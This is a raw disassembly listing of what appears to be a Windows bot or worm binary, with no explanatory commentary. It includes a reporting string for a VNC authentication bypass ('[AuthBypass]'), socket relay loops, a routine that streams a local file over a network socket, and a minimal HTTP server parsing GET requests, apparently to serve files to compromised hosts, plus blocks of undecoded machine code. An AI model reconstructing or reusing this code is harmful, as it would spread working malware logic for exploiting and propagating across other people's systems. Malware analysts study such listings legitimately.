		lea	eax, [ebp+0Ch]
		push	eax
		push	esi
		push	dword ptr [ebp-20h]
		lea	eax, [ebp-24Ch]
		push	dword ptr [ebp-28h]
		push	offset aVncD_DSSAuthby ; "VNC%d.%d %s: %s - [AuthBypass]"
		push	200h
		push	eax
		call	sub_41B980
		push	0
		lea	eax, [ebp-24Ch]
		push	dword ptr [ebp+0B8h]
		push	eax
		lea	eax, [ebp+1Ch]
		push	eax
		push	dword ptr [ebp+8]
		call	sub_409A72
		lea	eax, [ebp-24Ch]
		push	eax
		call	sub_4151AC
		mov	eax, [ebp+0B0h]
		add	esp, 34h
		shl	eax, 6
		inc	dword_431418[eax]
		push	ebx
		lea	eax, dword_431418[eax]
		nop
		call	near ptr 71AB1A6Dh
		push	1
		pop	eax
		jmp	short loc_40E470
; ---------------------------------------------------------------------------


loc_40E467:				; CODE XREF: ___:0040E284j
					; ___:0040E2A9j ...
		push	ebx
		nop
		call	near ptr 71AB1A6Dh


loc_40E46E:				; CODE XREF: ___:0040E26Ej
		xor	eax, eax


loc_40E470:				; CODE XREF: ___:0040E465j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 404h


loc_40E47E:				; CODE XREF: ___:0040E49Aj
					; ___:0040E4B6j
		push	0
		lea	eax, [ebp-404h]
		push	400h
		push	eax
		push	dword_4CDCB4
		call	dword_4CAF8C
		test	eax, eax
		jle	short loc_40E47E
		lea	ecx, [ebp-4]
		push	0
		push	ecx
		push	eax
		lea	eax, [ebp-404h]
		push	eax
		push	dword_4CDCB0
		call	near ptr 26E0000h
		nop
		jmp	short loc_40E47E
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 404h


loc_40E4C1:				; CODE XREF: ___:0040E4E7j
					; ___:0040E501j
		lea	eax, [ebp-4]
		and	dword ptr [ebp-4], 0
		push	0
		push	eax
		lea	eax, [ebp-404h]
		push	400h
		push	eax
		push	dword_4CDCA4
		call	near ptr 26F0000h
		nop
		cmp	dword ptr [ebp-4], 0
		jle	short loc_40E4C1
		push	0
		lea	eax, [ebp-404h]
		push	dword ptr [ebp-4]
		push	eax
		push	dword_4CDCB4
		call	dword_4CAFC4
		jmp	short loc_40E4C1
; ---------------------------------------------------------------------------
byte_40E503	db 55h			; DATA XREF: sub_401ACD+2D0Do
dword_40E504	dd 0EC81EC8Bh, 11Ch, 5308458Bh,	286A5756h, 8D59F08Bh, 0FFFEE4BDh
		dd 6AA5F3FFh, 5EFF3301h, 98B089h, 106A0000h, 57C8458Dh
		dd 0D05AE850h, 0C4830000h, 45C7660Ch, 0FF0002C8h, 0FFFF68B5h
		dd 7415FFFFh, 6A004CAFh, 26A5606h, 0CA458966h, 0AFF415FFh
		dd 4589004Ch, 0C8458D08h, 0FF50106Ah, 15FF0875h, 4CAFA0h
		dd 75FF056Ah, 9C15FF08h, 8B004CAFh, 4270FC1Dh, 68358B00h
		dd 57004270h, 875FF57h,	0B00815FFh, 0B4A3004Ch,	8D004CDCh
		dd 5057F445h, 4CDCB068h, 0DCAC6800h, 45C7004Ch,	0CF4h
		dd 0FC45C700h, 1, 0FFF87D89h, 0F4458DD3h, 0A8685057h, 68004CDCh
		dd 4CDCA4h, 446AD3FFh, 5784458Dh, 0CFBEE850h, 0ACA10000h
		dd 83004CDCh, 45890CC4h, 0DCA8A1BCh, 4589004Ch,	16A57C0h
		dd 6AC4458Dh, 45C75002h, 4484h,	0B045C700h, 101h, 0B47D8966h
		dd 2F1F9EE8h, 0FF509002h, 4CDCA835h, 1F91E800h,	5090022Fh
		dd 19E6E890h, 458D022Fh, 458D50D8h, 57575084h, 9068h, 0F4458D04h
		dd 8D50016Ah, 6850F445h, 433514h, 2E89057h, 8D022424h
		dd 5750E845h, 0E4B86857h, 458D0040h, 905057F4h,	2619ABE8h
		dd 0EC458902h, 50E8458Dh, 75685757h, 8D0040E4h,	5057F445h
		dd 1992E890h, 0FF6A0226h, 0FFF04589h, 95E8D875h, 9002271Ah
		dd 0F075FF57h, 21A7E890h, 0FF570227h, 9EE8EC75h, 90022721h
		dd 0FFF075FFh, 0EC75FFD6h, 0FF57D6FFh, 0E890D875h, 22E2479h
		dd 0DCAC35FFh, 0D6FF004Ch, 0DCB035FFh, 0D6FF004Ch, 0DCA435FFh
		dd 0D6FF004Ch, 0DCA835FFh, 0D6FF004Ch, 0FFDC75FFh, 0D875FFD6h
		dd 0B0E9D6FFh, 0E9FFFFFEh, 0
; ---------------------------------------------------------------------------
		push	0FFFEh
		push	400h
		call	sub_418684
		pop	ecx
		mov	dword_4CDCBC, eax
		pop	ecx
		retn
; ---------------------------------------------------------------------------
byte_40E6EF	db 55h			; DATA XREF: sub_40BACD+34Do
		dd 0EC81EC8Bh, 6C0h, 5308458Bh,	276A5756h, 8D59F08Bh, 0FFFF50BDh
		dd 6AA5F3FFh, 5EDB3301h, 98B089h, 106A0000h, 53EC458Dh
		dd 0CE6EE850h, 0C4830000h, 45C7660Ch, 0FF0002ECh, 0FFFF5CB5h
		dd 7415FFFFh, 53004CAFh, 66026A56h, 89EE4589h, 15FFF05Dh
		dd 4CAFF4h, 0CE83F88Bh,	75FE3BFFh, 0E45D3945h, 8D532075h
		dd 0FFFD4085h, 0E075FFFFh, 60858D50h, 50FFFFFFh, 0FF50B5FFh
		dd 0FFE8FFFFh, 83FFFFB2h, 858D14C4h, 0FFFFFD40h, 6A2AE850h
		dd 0B5FF0000h, 0FFFFFF54h, 0FFCC85E8h, 535959FFh, 2C186BE8h
		dd 858B9002h, 0FFFFFF54h, 0C069106Ah, 234h, 0DEBCB889h
		dd 458D0043h, 0FF5750ECh, 4CAFA015h, 0BBC63B00h, 400h
		dd 0CF850Fh, 15FF0000h,	4CAF08h, 27403Dh, 33477400h, 0E47539F6h
		dd 8D562075h, 0FFFD4085h, 0E075FFFFh, 60858D50h, 50FFFFFFh
		dd 0FF50B5FFh, 7FE8FFFFh, 83FFFFB2h, 858D14C4h,	0FFFFFD40h
		dd 69AAE850h, 0B5FF0000h, 0FFFFFF54h, 0FFCC05E8h, 565959FFh
		dd 17EAE890h, 0FE68022Ch, 530000FFh, 9E63E8h, 0BCA35900h
		dd 59004CDCh, 0EE458966h, 6AEC458Dh, 0FF575010h, 4CAFA015h
		dd 75C63B00h, 815FF54h,	33004CAFh, 0E47539F6h, 403D2775h
		dd 74000027h, 858D5620h, 0FFFFFD40h, 50E075FFh,	0FF60858Dh
		dd 0FF50FFFFh, 0FFFF50B5h, 0B204E8FFh, 0C483FFFFh, 40858D14h
		dd 50FFFFFDh, 692FE8h, 54B5FF00h, 0E8FFFFFFh, 0FFFFCB8Ah
		dd 90565959h, 2C176FE8h, 57056A02h, 0AF9C15FFh,	0C63B004Ch
		dd 0D4840Fh, 45C70000h,	10FCh, 9108BE00h, 458D0042h, 858D50FCh
		dd 0FFFFFF40h, 15FF5750h, 4CB008h, 89FFF883h, 0E6740845h
		dd 0E47D83h, 6A2175h, 0FD40858Dh, 75FFFFFFh, 858D50E0h
		dd 0FFFFFF60h, 50B5FF50h, 0E8FFFFFFh, 0FFFFB186h, 8D14C483h
		dd 0FFFD4085h, 0B1E850FFh, 59000068h, 0FD40858Dh, 6AFFFFh
		dd 20068h, 75FF5000h, 8C15FF08h, 83004CAFh, 9674FFF8h
		dd 35FF5656h, 4CACB0h, 0FF50B5FFh, 0E4E8FFFFh, 59FFFFC2h
		dd 351C6850h, 858D0043h, 0FFFFF940h, 41E85053h,	830000D0h
		dd 858D1CC4h, 0FFFFF940h, 0E850006Ah, 0C690h, 858D5059h
		dd 0FFFFF940h, 875FF50h, 0AFC415FFh, 0F883004Ch, 43840FFFh
		dd 0FFFFFFFFh, 4CDCC405h, 0FF38E900h, 0FF57FFFFh, 4CB00C15h
		dd 54B5FF00h, 0E8FFFFFFh, 0FFFFCA8Ah, 90006A59h, 2C166FE8h
		db 2
byte_40E991	db 55h,	8Bh, 0ECh	; DATA XREF: sub_40BACD+22Ao
		dd 0A70EC81h, 458B0000h, 57565308h, 0A9B9016Ah,	8B000000h
		dd 20BD8DF0h, 5BFFFFF9h, 9889A5F3h, 2A0h, 0F590858Dh, 0F633FFFFh
		dd 1016850h, 5D890000h,	0D45D89E4h, 89DC5D89h, 0FFFDD4B5h
		dd 0C4B589FFh, 90FFFFFBh, 6A57F9E8h, 6A535671h,	37E89002h
		dd 8B716A52h, 4271F435h, 0E44D8D00h, 0BF51046Ah, 0FFFFh
		dd 5057046Ah, 0FFF84589h, 0D4458DD6h, 6A50046Ah, 7D8B57FBh
		dd 0D6FF57F8h, 50DC458Dh, 4667E68h, 0E8905780h,	716A2B36h
		dd 0ACB0A166h, 6583004Ch, 665000B8h, 2B445C7h, 7415FF00h
		dd 66004CAFh, 8DB64589h, 106AB445h, 0E8905750h,	716A5482h
		dd 77DC085h, 60E9C38Bh,	6A000005h, 0E890570Ah, 716A7382h
		dd 0FDD49D89h, 1D8BFFFFh, 427224h, 0FDD8BD89h, 7D89FFFFh
		dd 8D416AFCh, 0FFFDD4B5h, 0BD8D59FFh, 0FFFFFBC4h, 0F633A5F3h
		dd 0FBC4858Dh, 5656FFFFh, 458B5056h, 0E85040FCh, 716A2DF4h
		dd 0FFF88390h, 50E840Fh, 0FF330000h, 89FC7539h,	0C57C087Dh
		dd 646AF633h, 0FD60858Dh, 5056FFFFh, 0CACFE8h, 8D646A00h
		dd 0FFFF5085h, 0E85056FFh, 0CAC0h, 8D18C483h, 0FFFBC485h
		dd 0E85750FFh, 17C76h, 840FC085h, 4BAh,	75F87D3Bh, 0F0458D7Ah
		dd 10F045C7h, 50000000h, 0FDC4858Dh, 0FF50FFFFh, 0E890F875h
		dd 716A9B85h, 0FFFF883h, 49184h, 39C93300h, 0FFFDD4B5h
		dd 8D1676FFh, 0FFFDD895h, 740239FFh, 0C283410Ch, 0D48D3B04h
		dd 72FFFFFDh, 0D48D3BF0h, 75FFFFFDh, 0D4BD8316h, 40FFFFFDh
		dd 84890D73h, 0FFFDD88Dh, 0D485FFFFh, 3BFFFFFDh, 37EFC45h
		dd 56FC4589h, 0E468156Ah, 50004337h, 3BE9D3FFh,	56000004h
		dd 0FD60858Dh, 646AFFFFh, 19E85750h, 90716A6Bh,	527FC085h
		dd 0FDD4958Bh, 0C933FFFFh, 3A76D63Bh, 0FDD8858Dh, 3839FFFFh
		dd 83410A74h, 0CA3B04C0h, 26EBF472h, 73CA3B4Ah,	8D848D1Bh
		dd 0FFFFFDD8h, 4104508Bh, 958B1089h, 0FFFFFDD4h, 4A04C083h
		dd 0EC72CA3Bh, 0FDD48DFFh, 9057FFFFh, 6A2EA4E8h, 3D4E971h
		dd 858D0000h, 0FFFFFCC8h, 50858D50h, 50FFFFFFh,	0FD60858Dh
		dd 0DC68FFFFh, 50004337h, 0DA58E8h, 50858D00h, 68FFFFFFh
		dd 4337D4h, 0D472E850h,	0C4830000h, 75C08518h, 166A560Dh
		dd 4337BC68h, 82E900h, 858D0000h, 0FFFFFF50h, 4337B468h
		dd 4DE85000h, 590000D4h, 7559C085h, 146A560Ah, 43379C68h
		dd 8D61EB00h, 0FFFF5085h, 379468FFh, 0E8500043h, 0D42Ch
		dd 59C08559h, 6A560A75h, 3784680Dh, 40EB0043h, 0FF50858Dh
		dd 7C68FFFFh, 50004337h, 0D40BE8h, 0C0855900h, 560A7559h
		dd 6868106Ah, 0EB004337h, 50858D1Fh, 68FFFFFFh,	433764h
		dd 0D3EAE850h, 85590000h, 0E7559C0h, 681E6A56h,	433744h
		dd 2F1E957h, 3CBF0000h,	8D004337h, 0FFFF5085h, 0E85057FFh
		dd 0D3C4h, 59C08559h, 858D2475h, 0FFFFFCC8h, 43373868h
		dd 0ADE85000h, 590000D3h, 7559C085h, 136A560Dh,	43372468h
		dd 2B2E900h, 858D0000h,	0FFFFFF50h, 8DE85057h, 590000D3h
		dd 7559C085h, 0C8858D24h, 68FFFFFCh, 433720h, 0D376E850h
		dd 85590000h, 0D7559C0h, 68136A56h, 43370Ch, 27BE9h, 50858D00h
		dd 68FFFFFFh, 433704h, 0D352E850h, 85590000h, 347559C0h
		dd 0D8BE0A6Ah, 59004336h, 0FED8BD8Dh, 0A5F3FFFFh, 0D8858D50h
		dd 50FFFFFEh, 9DE8A566h, 590000C2h, 0D8858D50h,	50FFFFFEh
		dd 0FF0875FFh, 0E9F633D3h, 235h, 0FF50858Dh, 0D068FFFFh
		dd 50004336h, 0D307E8h,	0C0855900h, 6A2A7559h, 36B8BE05h
		dd 8D590043h, 0FFFF38BDh, 66A5F3FFh, 858D50A5h,	0FFFFFF38h
		dd 51E8A450h, 590000C2h, 38858D50h, 0EBFFFFFFh,	50858DB2h
		dd 68FFFFFFh, 4336B0h, 0D2C6E850h, 85590000h, 850F59C0h
		dd 0B6h, 0FD2C858Dh, 8D50FFFFh,	0FFFF0485h, 458D50FFh
		dd 458D50ECh, 458D50E8h, 458D50E0h, 858D50D8h, 0FFFFFD60h
		dd 43368868h, 62E85000h, 8D0000D8h, 0FFFF0485h,	8AE850FFh
		dd 8B0000C9h, 2C858DF8h, 50FFFFFDh, 0C97CE8h, 0F4458900h
		dd 858D326Ah, 0FFFFFF04h, 81E85056h, 830000C7h,	858D34C4h
		dd 0FFFFFF04h, 57F475FFh, 43368068h, 5FE85000h,	6A0000CAh
		dd 4858D10h, 56FFFFFFh,	0CF8FE850h, 0C4830000h,	0F445891Ch
		dd 50EC458Dh, 50E8458Dh, 50E0458Dh, 50D8458Dh, 68C4458Dh
		dd 433674h, 0CA2CE850h,	0C4830000h, 1D6A5618h, 43365468h
		dd 11EE900h, 858D0000h,	0FFFFFF50h, 43364C68h, 0F5E85000h
		dd 590000D1h, 0F59C085h, 0E485h, 286A5600h, 43362068h
		dd 875FF00h, 75FFD3FFh,	0C4458DF4h, 120E850h, 83590000h
		dd 0F5901F8h, 0B685h, 0C4458D00h, 20858D50h, 68FFFFF7h
		dd 433604h, 0C9C8E850h,	0C4830000h, 0BCB5390Ch,	75FFFFFBh
		dd 858D5623h, 0FFFFF720h, 0FBB8B5FFh, 8D50FFFFh, 0FFFB3885h
		dd 0B5FF50FFh, 0FFFFF920h, 0FFAB89E8h, 14C483FFh, 14AE8h
		dd 1F88300h, 93850Fh, 6A560000h, 35EC6817h, 75FF0043h
		dd 8DD3FF08h, 8D50C445h, 0FFF72085h, 35CC68FFh,	0E8500043h
		dd 0C96Ah, 390CC483h, 0FFFBBCB5h, 562375FFh, 0F720858Dh
		dd 0B5FFFFFFh, 0FFFFFBB8h, 38858D50h, 50FFFFFBh, 0F920B5FFh
		dd 2BE8FFFFh, 83FFFFABh, 858D14C4h, 0FFFFF720h,	6256E850h
		dd 5FF0000h, 4CDA80h, 562EEB59h, 0A868206Ah, 0EB004335h
		dd 50858D1Fh, 68FFFFFFh, 42C994h, 0D0F6E850h, 85590000h
		dd 0D7559C0h, 681B6A56h, 43358Ch, 0FF0875FFh, 8D646AD3h
		dd 0FFFD6085h, 0E85056FFh, 0C5F4h, 83087D8Bh, 3B470CC4h
		dd 7D89FC7Dh, 18E0F08h,	0E9FFFFFBh, 0FFFFFAC1h,	5F58016Ah
		dd 0C2C95B5Eh
		db 4, 0
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 1A0h
		lea	eax, [ebp-1A0h]
		push	eax
		push	101h
		nop
		call	near ptr 71AB41DAh
		push	0
		push	1
		push	2
		call	near ptr 71AB3C22h
		nop
		push	dword ptr [ebp+8]
		mov	dword_4CDCC8, eax
		mov	word ptr [ebp-10h], 2
		nop
		call	near ptr 71AB12F8h
		push	dword ptr [ebp+0Ch]
		mov	[ebp-0Ch], eax
		nop
		call	near ptr 71AB1746h
		mov	[ebp-0Eh], ax
		lea	eax, [ebp-10h]
		push	10h
		push	eax
		push	dword_4CDCC8
		call	near ptr 71AB3E5Dh
		nop
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_40F036
		push	dword_4CDCC8
		call	near ptr 71AB1A6Dh
		nop
		call	near ptr 71AB1836h
		nop
		xor	eax, eax
		leave
		retn
; ---------------------------------------------------------------------------


loc_40F036:				; CODE XREF: ___:0040F01Ej
		push	1
		pop	eax
		leave
		retn
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 504h
		push	esi
		lea	eax, [ebp-104h]
		push	104h
		push	eax
		push	0
		nop
		call	near ptr 2660000h
		lea	eax, [ebp-104h]
		push	offset dword_429068
		push	eax
		call	sub_41B4C2
		mov	esi, eax
		pop	ecx
		test	esi, esi
		pop	ecx
		jz	short loc_40F0D2
		test	byte ptr [esi+0Ch], 10h
		jnz	short loc_40F0B6
		push	edi
		mov	edi, 400h


loc_40F07E:				; CODE XREF: ___:0040F0B3j
		push	esi
		push	1
		lea	eax, [ebp-504h]
		push	edi
		push	eax
		call	sub_41B11A
		add	esp, 10h
		lea	eax, [ebp-504h]
		push	0
		push	edi
		push	eax
		push	dword_4CDCC8
		call	near ptr 71AB1AF4h
		nop
		push	1
		nop
		call	near ptr 2660F2Bh
		test	byte ptr [esi+0Ch], 10h
		jz	short loc_40F07E
		pop	edi


loc_40F0B6:				; CODE XREF: ___:0040F076j
		push	esi
		call	sub_41B05B
		pop	ecx
		push	dword_4CDCC8
		nop
		call	near ptr 71AB1A6Dh
		nop
		call	near ptr 71AB1836h
		push	1
		pop	eax


loc_40F0D2:				; CODE XREF: ___:0040F070j
		pop	esi
		leave
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40F0D5	proc near		; DATA XREF: sub_401ACD+2283o
					; sub_40BACD+475o

var_28F0	= byte ptr -28F0h
var_18F0	= byte ptr -18F0h
var_8F0		= byte ptr -8F0h
var_6F0		= byte ptr -6F0h
var_5EC		= dword	ptr -5ECh
var_5E8		= byte ptr -5E8h
var_360		= byte ptr -360h
var_25C		= dword	ptr -25Ch
var_254		= dword	ptr -254h
var_250		= dword	ptr -250h
var_24C		= dword	ptr -24Ch
var_248		= dword	ptr -248h
var_23C		= byte ptr -23Ch
var_138		= dword	ptr -138h
var_134		= dword	ptr -134h
var_34		= byte ptr -34h
var_24		= word ptr -24h
var_22		= word ptr -22h
var_20		= dword	ptr -20h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, 28F0h
		call	sub_41BB20
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		mov	ecx, 0ECh
		mov	esi, eax
		lea	edi, [ebp+var_5EC]
		push	1
		rep movsd
		pop	esi
		xor	ebx, ebx
		mov	[eax+3ACh], esi
		push	10h
		lea	eax, [ebp+var_24]
		push	ebx
		push	eax
		mov	[ebp+var_14], esi
		call	sub_41B590
		add	esp, 0Ch
		mov	[ebp+var_24], 2
		push	[ebp+var_25C]
		call	dword_4CAF74
		push	ebx
		push	esi
		push	2
		mov	[ebp+var_22], ax
		mov	[ebp+var_20], ebx
		call	dword_4CAFF4
		mov	edi, eax
		cmp	edi, 0FFFFFFFFh
		mov	[ebp+var_C], edi
		jz	loc_40F4C0
		mov	eax, [ebp+var_254]
		push	10h
		imul	eax, 234h
		mov	dword_43DEBC[eax], edi
		lea	eax, [ebp+var_24]
		push	eax
		push	edi
		call	dword_4CAFA0
		cmp	eax, 0FFFFFFFFh
		jz	loc_40F4C0
		push	7FFFFFFFh
		push	edi
		call	dword_4CAF9C
		cmp	eax, 0FFFFFFFFh
		jz	loc_40F4C0
		lea	eax, [ebp+var_14]
		push	eax
		push	8004667Eh
		push	edi
		call	dword_4CB010
		cmp	eax, 0FFFFFFFFh
		jz	loc_40F4C0
		mov	ebx, esi
		mov	[ebp+var_134], edi
		mov	[ebp+var_138], ebx
		mov	[ebp+var_8], edi


loc_40F1AC:				; CODE XREF: sub_40F0D5+3E1j
		push	41h
		xor	eax, eax
		pop	ecx
		lea	esi, [ebp+var_138]
		push	eax
		push	eax
		push	eax
		lea	eax, [ebp+var_6F0]
		push	eax
		mov	eax, [ebp+var_8]
		lea	edi, [ebp+var_6F0]
		inc	eax
		rep movsd
		push	eax
		call	dword_4CAF5C
		cmp	eax, 0FFFFFFFFh
		jz	loc_40F4BB
		xor	esi, esi
		mov	[ebp+var_4], esi


loc_40F1E2:				; CODE XREF: sub_40F0D5+3DBj
		lea	eax, [ebp+var_6F0]
		push	eax
		push	esi
		call	dword_4CAE60
		test	eax, eax
		jz	loc_40F4A6
		cmp	esi, [ebp+var_C]
		jnz	short loc_40F264
		lea	eax, [ebp+var_10]
		mov	[ebp+var_10], 10h
		push	eax
		lea	eax, [ebp+var_34]
		push	eax
		push	[ebp+var_C]
		call	dword_4CB008
		cmp	eax, 0FFFFFFFFh
		jz	loc_40F4A6
		xor	ecx, ecx
		test	ebx, ebx
		jbe	short loc_40F236
		lea	edx, [ebp+var_134]


loc_40F22A:				; CODE XREF: sub_40F0D5+15Fj
		cmp	[edx], eax
		jz	short loc_40F236
		inc	ecx
		add	edx, 4
		cmp	ecx, ebx
		jb	short loc_40F22A


loc_40F236:				; CODE XREF: sub_40F0D5+14Dj
					; sub_40F0D5+157j
		cmp	ecx, ebx
		jnz	short loc_40F253
		cmp	ebx, 40h
		jnb	short loc_40F253
		mov	[ebp+ecx*4+var_134], eax
		mov	ebx, [ebp+var_138]
		inc	ebx
		mov	[ebp+var_138], ebx


loc_40F253:				; CODE XREF: sub_40F0D5+163j
					; sub_40F0D5+168j
		cmp	eax, [ebp+var_8]
		jbe	loc_40F4A6
		mov	[ebp+var_8], eax
		jmp	loc_40F4A6
; ---------------------------------------------------------------------------


loc_40F264:				; CODE XREF: sub_40F0D5+126j
		mov	edi, 1000h
		lea	eax, [ebp+var_28F0]
		push	edi
		push	0
		push	eax
		call	sub_41B590
		push	edi
		lea	eax, [ebp+var_18F0]
		push	0
		push	eax
		call	sub_41B590
		add	esp, 18h
		lea	eax, [ebp+var_28F0]
		push	0
		push	edi
		push	eax
		push	esi
		call	dword_4CAF8C
		test	eax, eax
		jg	short loc_40F2F7
		push	esi
		call	dword_4CB00C
		xor	ecx, ecx
		test	ebx, ebx
		jbe	loc_40F4A6
		lea	eax, [ebp+var_134]


loc_40F2B6:				; CODE XREF: sub_40F0D5+1EBj
		cmp	[eax], esi
		jz	short loc_40F2C7
		inc	ecx
		add	eax, 4
		cmp	ecx, ebx
		jb	short loc_40F2B6
		jmp	loc_40F4A6
; ---------------------------------------------------------------------------


loc_40F2C7:				; CODE XREF: sub_40F0D5+1E3j
		lea	eax, [ebx-1]
		cmp	ecx, eax
		jnb	short loc_40F2EB
		lea	eax, [ebp+ecx*4+var_134]


loc_40F2D5:				; CODE XREF: sub_40F0D5+214j
		mov	edx, [eax+4]
		inc	ecx
		mov	[eax], edx
		mov	ebx, [ebp+var_138]
		add	eax, 4
		lea	edx, [ebx-1]
		cmp	ecx, edx
		jb	short loc_40F2D5


loc_40F2EB:				; CODE XREF: sub_40F0D5+1F7j
		dec	ebx
		mov	[ebp+var_138], ebx
		jmp	loc_40F4A6
; ---------------------------------------------------------------------------


loc_40F2F7:				; CODE XREF: sub_40F0D5+1C8j
		xor	esi, esi
		push	104h
		lea	eax, [ebp+var_23C]
		push	esi
		push	eax
		call	sub_41B590
		lea	eax, [ebp+var_28F0]
		mov	[ebp+arg_0], esi
		push	eax
		call	sub_41AFE0
		add	esp, 10h
		test	eax, eax
		jbe	loc_40F4A6


loc_40F325:				; CODE XREF: sub_40F0D5+309j
		mov	eax, [ebp+arg_0]
		mov	al, [ebp+eax+var_28F0]
		cmp	al, 0Ah
		mov	[ebp+esi+var_18F0], al
		jnz	loc_40F3CA
		mov	esi, offset aGet_0 ; "GET "
		lea	eax, [ebp+var_18F0]
		push	esi
		push	eax
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_40F39E
		lea	eax, [ebp+var_18F0]
		push	eax
		call	sub_41AFE0
		cmp	eax, 5
		pop	ecx
		jbe	short loc_40F39E
		mov	eax, offset asc_42CA34 ; " "
		push	eax
		push	eax
		lea	eax, [ebp+var_18F0]
		push	esi
		push	eax
		call	sub_41B900
		pop	ecx
		pop	ecx
		push	eax
		call	sub_41B900
		pop	ecx
		pop	ecx
		push	eax
		call	sub_41C0F4
		push	eax
		lea	eax, [ebp+var_23C]
		push	eax
		call	sub_41BEB0
		add	esp, 10h
		jmp	short loc_40F3B5
; ---------------------------------------------------------------------------


loc_40F39E:				; CODE XREF: sub_40F0D5+27Fj
					; sub_40F0D5+291j
		lea	eax, [ebp+var_18F0]
		push	offset asc_433824 ; "\r\n"
		push	eax
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_40F3E9


loc_40F3B5:				; CODE XREF: sub_40F0D5+2C7j
		push	edi
		lea	eax, [ebp+var_18F0]
		push	0
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		or	esi, 0FFFFFFFFh


loc_40F3CA:				; CODE XREF: sub_40F0D5+263j
		inc	[ebp+arg_0]
		lea	eax, [ebp+var_28F0]
		push	eax
		inc	esi
		call	sub_41AFE0
		cmp	[ebp+arg_0], eax
		pop	ecx
		jb	loc_40F325
		jmp	loc_40F4A6
; ---------------------------------------------------------------------------


loc_40F3E9:				; CODE XREF: sub_40F0D5+2DEj
		xor	ecx, ecx
		test	ebx, ebx
		jbe	short loc_40F433
		lea	eax, [ebp+var_134]


loc_40F3F5:				; CODE XREF: sub_40F0D5+32Dj
		mov	esi, [ebp+var_4]
		cmp	[eax], esi
		jz	short loc_40F406
		inc	ecx
		add	eax, 4
		cmp	ecx, ebx
		jb	short loc_40F3F5
		jmp	short loc_40F436
; ---------------------------------------------------------------------------


loc_40F406:				; CODE XREF: sub_40F0D5+325j
		lea	eax, [ebx-1]
		cmp	ecx, eax
		jnb	short loc_40F42A
		lea	eax, [ebp+ecx*4+var_134]


loc_40F414:				; CODE XREF: sub_40F0D5+353j
		mov	edx, [eax+4]
		inc	ecx
		mov	[eax], edx
		mov	ebx, [ebp+var_138]
		add	eax, 4
		lea	edx, [ebx-1]
		cmp	ecx, edx
		jb	short loc_40F414


loc_40F42A:				; CODE XREF: sub_40F0D5+336j
		dec	ebx
		mov	[ebp+var_138], ebx
		jmp	short loc_40F436
; ---------------------------------------------------------------------------


loc_40F433:				; CODE XREF: sub_40F0D5+318j
		mov	esi, [ebp+var_4]


loc_40F436:				; CODE XREF: sub_40F0D5+32Fj
					; sub_40F0D5+35Cj
		lea	eax, [ebp+var_23C]
		test	eax, eax
		jz	short loc_40F49F
		lea	eax, [ebp+var_360]
		push	eax
		call	sub_41AFE0
		mov	edi, eax
		lea	eax, [ebp+var_23C]
		push	eax
		call	sub_41AFE0
		add	edi, eax
		pop	ecx
		cmp	edi, 104h
		pop	ecx
		jnb	short loc_40F49F
		and	[ebp+arg_0], 0
		lea	eax, [ebp+arg_0]
		push	eax
		push	8004667Eh
		push	esi
		call	dword_4CB010
		push	[ebp+var_254]
		lea	eax, [ebp+var_23C]
		push	[ebp+var_248]
		push	eax
		lea	eax, [ebp+var_360]
		push	eax
		push	esi
		call	sub_40F6B3
		add	esp, 14h
		jmp	short loc_40F4A6
; ---------------------------------------------------------------------------


loc_40F49F:				; CODE XREF: sub_40F0D5+369j
					; sub_40F0D5+38Fj
		push	esi
		call	dword_4CB00C


loc_40F4A6:				; CODE XREF: sub_40F0D5+11Dj
					; sub_40F0D5+143j ...
		mov	esi, [ebp+var_4]
		inc	esi
		cmp	esi, [ebp+var_8]
		mov	[ebp+var_4], esi
		jbe	loc_40F1E2
		jmp	loc_40F1AC
; ---------------------------------------------------------------------------


loc_40F4BB:				; CODE XREF: sub_40F0D5+102j
		mov	edi, [ebp+var_C]
		xor	ebx, ebx


loc_40F4C0:				; CODE XREF: sub_40F0D5+6Aj
					; sub_40F0D5+92j ...
		call	dword_4CAF08
		push	eax
		lea	eax, [ebp+var_8F0]
		push	offset unk_4337FC
		push	eax
		call	sub_41B886
		add	esp, 0Ch
		cmp	[ebp+var_24C], ebx
		jnz	short loc_40F506
		push	ebx
		lea	eax, [ebp+var_8F0]
		push	[ebp+var_250]
		push	eax
		lea	eax, [ebp+var_5E8]
		push	eax
		push	[ebp+var_5EC]
		call	sub_409A72
		add	esp, 14h


loc_40F506:				; CODE XREF: sub_40F0D5+40Cj
		lea	eax, [ebp+var_8F0]
		push	eax
		call	sub_4151AC
		pop	ecx
		push	edi
		call	dword_4CB00C
		push	[ebp+var_254]
		call	sub_40B412
		pop	ecx
		push	ebx
		call	near ptr 26D0000h
		nop
		pop	edi
		pop	esi
		pop	ebx
sub_40F0D5	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40F530	proc near		; DATA XREF: sub_40F6B3+24Do

var_1654	= byte ptr -1654h
var_654		= byte ptr -654h
var_550		= byte ptr -550h
var_44C		= dword	ptr -44Ch
var_3C8		= byte ptr -3C8h
var_2C4		= byte ptr -2C4h
var_B8		= dword	ptr -0B8h
var_B4		= dword	ptr -0B4h
var_A4		= dword	ptr -0A4h
var_9C		= byte ptr -9Ch
var_68		= byte ptr -68h
var_20		= byte ptr -20h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, 1654h
		call	sub_41BB20
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		mov	ecx, 0ECh
		mov	esi, eax
		lea	edi, [ebp+var_44C]
		rep movsd
		mov	dword ptr [eax+3ACh], 1
		lea	eax, [ebp+var_3C8]
		push	eax
		lea	eax, [ebp+var_550]
		push	eax
		call	sub_41B886
